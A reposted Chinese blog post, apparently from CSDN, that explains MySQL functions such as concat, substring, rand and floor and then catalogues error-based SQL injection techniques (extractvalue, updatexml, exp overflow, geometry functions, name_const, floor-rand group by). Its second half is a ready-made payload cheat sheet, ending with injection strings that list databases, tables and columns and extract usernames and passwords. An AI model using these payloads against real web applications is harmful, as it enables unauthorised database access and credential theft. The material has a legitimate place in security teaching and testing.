mysql指数函数_MySQL报错注入函数汇总及常用注入语句

版权声明:本文转载自网络内容,下面附原创链接

原创链接:https://blog.csdn.net/Auuuuuuuu/article/details/91415165

常用函数

字符串连接函数,将多个字符串连接成一个字符串,当中间字符串有一个为空时,最后结果也为空

concat(str1, str2, str3 ,...)

5d1837c823823edd2fe532fc0489ba58.png

8b3de2003f1812f952f78b3e8c174bb9.png

concat_ws('指定分隔符', str1,str2,str3...)

开头指定分隔符,与concat()不同,它会自动忽略中间的空值,只有分隔符为空,整体才返回空

d0511e0da5eef5bca88c12ff0f04deb4.png

1395ecc4d4d61f77114656a4b6674381.png

group_concat(field_name1,field_name2,field_name3 ...)

分组的方式连接所有字符串(把某个字段下的所有数据全部连接成一个字符串),有长度限制,默认1024

edfd22fb32cddf59276352f7679e2c9c.png

6071f372b814e2994874c64dea1f579f.png

47ba6fe02aab7c6cd05c313a8f50773d.png

73e1386a6bb53d3d821a01cfbefdf1d3.png

截取字符串函数

substring(要截断的字符串,开始截取位置,截取长度)  (从1开始)

2c91a470e3af5fb8d70d7cb8eac2f6b6.png

substr 和 substring 操作相同

5bbf817fb88d6e12e7910518d5f8bb2a.png

mysql 专有的字符串截取

mid(要截断的字符串,开始截取位置,截取长度)(从1开始)

8a2b851f3214c8cf04eac258c207468b.png

左截取 left(str, 3)  从左往右截取3个字符

844d7b8bb14914b6cbd22a182337b4ed.png

右截取 right(str, 3)  从右往左截取3个字符

213b8f1bd6da035f654b0c66029f7651.png

rand()函数会随机产生 [ 0 , 1 )  之间的浮点数

5154003adc750a86c44be3de3f7af8eb.png

rand(x) 每个x对应一个固定的值,可预测

3d15dfe9fad9d160411ebc3ebcabe6c2.png

rand()*2会随机产生 [ 0 , 2 )  之间的浮点数

8e6d774884689618b51493811a0dca3a.png

floor()函数只返回整数部分,小数部分舍弃。

c8949b099644f72ede744be34d274229.png

round()函数四舍五入,大于0.5的部分进位,不到则舍弃。

1ea8feaa6df9c9342327b4819d787d5b.png

limit用法(从0开始)

如果只给定一个参数,表示记录数

检索前3条记录   等价于 右图

c682dcfe4f9be83a0a4ebf384405c487.png

检索4条记录,从第2条数据开始(从0开始)

b0b1519e9ac8552fbd3ac4f7e32ec7d0.png

count(*)是对行数目进行计数

f751652e5e5334802635cd047e24d843.png

常用的Mysql内置变量

version()                                          当前数据库详细版本号

database()                                       当前所在的数据库

user()                                               当前数据库用户权限

@@datadir                                      数据文件的存放目录

@@basedir                                     数据库的安装路径

@@version_compile_os               宿主系统平台是什么

@@hostname                                 当前机器的机器名

show variables like 'log_%            查看日志文件存放位置

报错函数

xpath处理函数报错注入

extractvalue(xml_doc, xpath)                       从指定xml文档中查询指定的字符串

updatexml(xml_doc,xpath,new_value)        利用xpath把xml文档中的指定字符串替换成新值

报错payload:

and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

95726be1bd06974cfacd1cab04ff622a.png

cda6bebf8b8e355b27cb032648cb0abf.png

参数Xpath需要的是 xpath格式的字符串,不是就会报错,sql语句由内向外执行报错得到查询的信息

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,所以MySQL 5.1.5版本以下的不能上述函数进行报错注入

并且,上述报错注入函数有字符限制,最长32位

整形溢出报错注入:

exp(x)  数学函数 返回值 e (自然对数的底) 的 x 次方

报错payload:

and exp(~(select * from(select user())a));

514328ff7fdb1980b43b03f67a95246d.png

将0按位取反就会返回最大数“18446744073709551615”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到最大的无符号BIGINT值。

7909d78ef64eca8ebd5c8d8e36b967d9.png

68ccceb898be02d6d7ff519581b99139.png

3bf1f5fa298401526dfc30031ee7ff36.png

411d353a374e215d30908870778b7456.png

256a2a2914a5e311bcc40388cbb3b04d.png

exp是以e为底的指数函数,由于数字太大是会产生溢出。这个函数会在参数大于709时溢出,报错。

de44fc7c3fb2b1eccf51fe73ec45e3be.png

所以我们通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据

e21bd285e054eeb60e292d2acf2c6e48.png

MySql5.5.5版本后整形溢出才会报错

几何函数报错注入

geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()

函数对参数要求是形如(1 2,3 3,2 2 1)这样几何数据,如果不满足要求,则会报错

上述函数经本地测试,本地高版本MySQL无法得到数据(5.6.22)

25e132b236294898116cc72e702a2bf1.png

成功得到数据如下所示:

select multipoint((select * from (select * from (select * from (select version())a)b)c));

ERROR 1367 (22007): Illegal non geometric '(select `c`.`version()` from (select '5.5.40-log' AS `version()` from dual) `c`)' value found during parsing

列名重复报错注入

name_const()函数

报错payload:

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))a;

024c3c7f59a102e972a6e02beba7c408.png

name_const(name,value)函数会用传入的参数返回一列结果集.传入的参数必须是常量,如果不是则报错

报错payload :因为两列列名相同,外面选择时候报错,说重复列

经测试,只能查version() 函数其他可能因为不是常量的原因报参数错误的错误,不会回显想要的信息   略鸡肋

虚拟表主键重复报错注入

floor() + rand() + group by

报错payload:

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));

08d347ad9dcaf98aaf7ba05fb069a46c.png

原理参考链接:https://www.2cto.com/article/201604/498394.html

group by key (key为虚拟表的主键)

循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据

其他payload(修改 limit 即可):

爆所有数据库:

and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

b986b01d9da3f8d9a52bdba9dd9aa626.png

爆表:

and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

257450bfd20e07952fd60800b81ac754.png

爆字段:

and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=表名 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

762cc5eebf84f5040b8351dc2fd2df43.png

爆内容:

and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

8912405f79e2bbcd97eb74d5ceddc402.png

————————————————

版权声明:本文为CSDN博主「Au.J」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。

原文链接:https://blog.csdn.net/Auuuuuuuu/article/details/91415165

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值